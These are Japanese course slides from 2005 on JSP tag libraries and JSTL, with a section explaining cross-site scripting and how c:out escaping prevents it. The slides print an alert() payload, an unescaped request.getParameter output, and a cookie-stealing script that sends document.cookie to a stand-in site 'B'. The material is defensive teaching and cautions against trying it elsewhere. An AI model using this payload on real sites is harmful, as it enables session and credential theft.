240 likes | 410 Views
タグライブラリと JSP. J2EE I 第 10 回 / 2005-01-15. ここでの内容. タグライブラリの使い方、特に JSTL について学ぶ。 クロスサイトスクリプティングについて学ぶ。. カスタムタグ. JSP の中で定義できる独自のタグ。 スクリプトレットを使って記述するところをタグで表現できる。 カスタムタグを、見通しのよい JSP を作成できる。. タグライブラリ. 複数のカスタムタグをまとめてひとつのパッケージにしたものを「タグライブラリ」と言う。 タグライブラリの構成
E N D
タグライブラリとJSP J2EE I 第10回 / 2005-01-15
ここでの内容 • タグライブラリの使い方、特にJSTLについて学ぶ。 • クロスサイトスクリプティングについて学ぶ。
カスタムタグ • JSPの中で定義できる独自のタグ。 • スクリプトレットを使って記述するところをタグで表現できる。 • カスタムタグを、見通しのよいJSPを作成できる。
タグライブラリ • 複数のカスタムタグをまとめてひとつのパッケージにしたものを「タグライブラリ」と言う。 • タグライブラリの構成 • タグの処理を記述する Java のプログラム (通常は Jar ファイルで提供される) • タグに関する情報を持つ Tag Library Descriptor (TLD)
さまざまなタグライブラリ • 既製のタグライブラリがいくつかある。 • JavaServer Pages Standard Tag Library (JSTL) • 値の設定・制御構造 • データベースへのアクセス、国際化、XMLの解析など • Jakarta Taglibs • JSF のタグライブラリ • などなど
HTML中の特殊文字の扱い • HTMLでは “<“, “>”, “&”といった文字は特別な意味を持つので、実態参照で表す。
フォームから入力した文字列を出力するサンプルフォームから入力した文字列を出力するサンプル c:out を使うと、“<”や “>”や “&”といった文字をエンコードする(実態参照で表す)。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> <p> c:out を使った場合: <c:out value="${param.title}" /> </p> JSTLによるタグのエンコード (1)
JSTLによるタグのエンコード (2) • 入力文字列 • <m>wakhok</m> • c:out を使った場合 • <m>wakhok</m> • タグがエンコードされるので、”<“や “>”はタグではなくただの文字ということになる。 • c:out を使わない場合 • wakhok • “m”というタグが使われたことになる。
クロスサイトスクリプティング (1) フォームから入力されたタグが そのまま出力される ↓ 入力された文字が JavaScript だった場合 ↓ JavaScript が実行されてしまう!
クロスサイトスクリプティング (2)実例 <script>alert(“アホですか?”);</script> ↓ 警告画面が表示されてしまう
クロスサイトスクリプティング (3)cookie が盗まれる例 (1) • ショッピングサイト “WAK”とその利用者が狙われる例 • “WAK”の商品検索システムは、タグをエンコードしない。つまりクロスサイトスクリプティングを引き起こしてしまうようになっている。 • “WAK”では、商品を購入するときに使うユーザ名とパスワードを cookie に保存している。
クロスサイトスクリプティング (4) cookie が盗まれる例 (2) • ここで、怪しいサイト“A”が登場する。 • “A”には、“WAK”へのリンクが貼られている。 • その内容は • WAK の Cookie を取得して、その Cookie を別のサイト “B”の getCookie.jsp に渡す JavaScript
クロスサイトスクリプティング (5)cookie が盗まれる例 (3) • リンクの内容 <a href= “http://wak/search.jsp?p=(JavaScriptのタグ)”> Hなサイト </a>
クロスサイトスクリプティング (6) cookie が盗まれる例 (4) • JavaScript の内容 <script> s = document.cookie; location.href = “http://B/getCookie.jsp?c=“+s; </script>
クロスサイトスクリプティング (7) cookie が盗まれる例 (5) • “WAK”の利用者が サイト “A”へのリンクをうっかり押してしまった場合 • リンク先の “WAK”のサイトが表示されるとき、同時に JavaScript を実行されて • Cookie を盗まれる • ユーザ名とパスワードを盗られたので、あとはやられ放題。
JSTLによるタグのエンコード (3) • タグの入力を許可してしまうと、クロスサイトスクリプティングを引き起こすことが考えられる。 • タグの入力を許可しない方がよい。 • こうした処理をタグライブラリを使わずに書くには、スクリプトレットを使う必要がある。
警告 • これまで述べた手順を外のサイトで試さないように。 • 「不正アクセス禁止法」に抵触するおそれがある。
タグライブラリを使う • 利用するタグライブラリと、その接頭辞を指定 <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
式言語 (Expression Language) ${var} 変数 var ${param.title} フォームから入力され たデータ "title" の値 ${book.author} book という Bean の author プロパティ
制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul>
JSTL の Tomcat への配置 • JSTL の配布パッケージの lib フォルダに含まれている次の2つのjarファイルを WEB-INF/libフォルダにコピーする。 • jstl.jar • standard.jar
参考文献・URLタグライブラリ関連 • JavaServer Pages Standard Tag Library • http://java.sun.com/products/jsp/jstl/index.jsp • Jakarta Taglibs • http://jakarta.apache.org/taglibs/index.html
参考文献・URLクロスサイトスクリプティング (1) • セキュアプログラミング講座 • 独立行政法人情報処理推進機構が提供している、安全なプログラミングをするための講座。1-2 がクロスサイトスクリプティングの解説とその対策になっている。 • http://www.ipa.go.jp/security/awareness/vendor/programming/index.html • クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱さの実体とその対策 • 高木 浩光,関口 智嗣,大蒔 和仁 • 高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについてわかりやすく記述されている。 • この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリプティングの対策は十分にとられている(はずだ)が、この内容の重要性は変わっていない。 • http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
参考文献・URLクロスサイトスクリプティング (2) • 安全なWebアプリ開発40箇条の鉄則 • 産業技術総合研究所の高木浩光氏のスライド。 • 安全なWebアプリケーション構築のためのポイントがコンパクトにまとめられている。必読。 • http://java-house.jp/~takagi/paper/idg-jwd2003-takagi-dist.pdf